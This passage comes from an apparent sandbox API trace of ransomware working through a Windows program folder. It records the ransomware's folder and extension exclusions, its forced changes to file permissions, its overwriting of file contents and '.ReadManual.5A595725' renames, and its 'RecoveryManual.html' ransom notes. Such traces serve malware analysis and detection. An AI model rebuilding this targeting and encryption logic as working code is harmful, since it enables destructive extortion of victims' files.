lpSrch="\\WindowsApps\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.920] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.920] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned 55 [0252.920] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.922] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" [0252.922] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.922] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0252.922] lstrcpyW (in: lpString1=0x6ab90a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0252.922] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0252.922] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.922] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.922] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.922] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.922] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.922] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.922] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.922] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" [0252.922] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ReadManual.5A595725" [0252.922] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ReadManual.5A595725") returned 92 [0252.923] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37359130131) returned 1 [0252.923] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0252.923] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.923] GetLastError () returned 0x5 [0252.923] GetNamedSecurityInfoW () returned 0x0 [0252.923] SetNamedSecurityInfoW () returned 0x0 [0252.923] SetNamedSecurityInfoW () returned 0x0 [0252.924] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.924] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0252.924] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0252.924] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.925] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.926] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.926] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0252.927] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.927] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37359541326) returned 1 [0252.927] CloseHandle (hObject=0x1a0) returned 1 [0252.927] SetSecurityInfo () returned 0x5 [0252.927] SetSecurityInfo () returned 0x5 [0252.927] LocalFree (hMem=0x674d38) returned 0x0 [0252.927] CloseHandle (hObject=0x184) returned 1 [0252.927] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" [0252.927] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RecoveryManual.html" [0252.927] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.927] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.928] CloseHandle (hObject=0x184) returned 1 [0252.928] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0252.929] lstrcpyW (in: lpString1=0x6ab90a, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0252.929] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0252.929] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.929] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.929] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.929] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.929] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.929] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.929] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.929] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" [0252.929] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ReadManual.5A595725" [0252.929] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ReadManual.5A595725") returned 87 [0252.929] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37359806140) returned 1 [0252.929] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0252.930] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.930] GetLastError () returned 0x5 [0252.930] GetNamedSecurityInfoW () returned 0x0 [0252.930] SetNamedSecurityInfoW () returned 0x0 [0252.930] SetNamedSecurityInfoW () returned 0x0 [0252.931] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.931] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0252.931] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0252.931] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0252.932] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.932] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.933] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.933] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0252.933] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37360215827) returned 1 [0252.933] CloseHandle (hObject=0x1a0) returned 1 [0252.933] SetSecurityInfo () returned 0x5 [0252.934] SetSecurityInfo () returned 0x5 [0252.934] LocalFree (hMem=0x674d38) returned 0x0 [0252.934] CloseHandle (hObject=0x184) returned 1 [0252.934] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0252.934] lstrcpyW (in: lpString1=0x6ab90a, lpString2="decorative_rule.png" | out: lpString1="decorative_rule.png") returned="decorative_rule.png" [0252.934] lstrcmpiW (lpString1="decorative_rule.png", lpString2="RecoveryManual.html") returned -1 [0252.934] StrStrIW (lpFirst="decorative_rule.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.934] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.934] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.934] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.934] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.934] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.934] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.934] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" [0252.934] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ReadManual.5A595725" [0252.934] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ReadManual.5A595725") returned 94 [0252.934] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37360310315) returned 1 [0252.934] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0252.935] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.935] GetLastError () returned 0x5 [0252.935] GetNamedSecurityInfoW () returned 0x0 [0252.935] SetNamedSecurityInfoW () returned 0x0 [0252.936] SetNamedSecurityInfoW () returned 0x0 [0252.936] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.937] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6203) returned 1 [0252.937] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x183b, lpName=0x0) returned 0x1a0 [0252.937] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.937] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.937] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.939] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.939] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x183b) returned 0x2f0000 [0252.939] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.939] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37360799465) returned 1 [0252.939] CloseHandle (hObject=0x1a0) returned 1 [0252.939] SetSecurityInfo () returned 0x5 [0252.939] SetSecurityInfo () returned 0x5 [0252.939] LocalFree (hMem=0x674d38) returned 0x0 [0252.939] CloseHandle (hObject=0x184) returned 1 [0252.940] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.940] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.940] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.940] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.940] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.940] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.940] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.941] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.941] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.941] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.941] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.941] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" [0252.941] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.941] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 107 [0252.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37360950777) returned 1 [0252.941] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0252.941] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.941] GetLastError () returned 0x5 [0252.941] GetNamedSecurityInfoW () returned 0x0 [0252.941] SetNamedSecurityInfoW () returned 0x0 [0252.941] SetNamedSecurityInfoW () returned 0x0 [0252.942] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 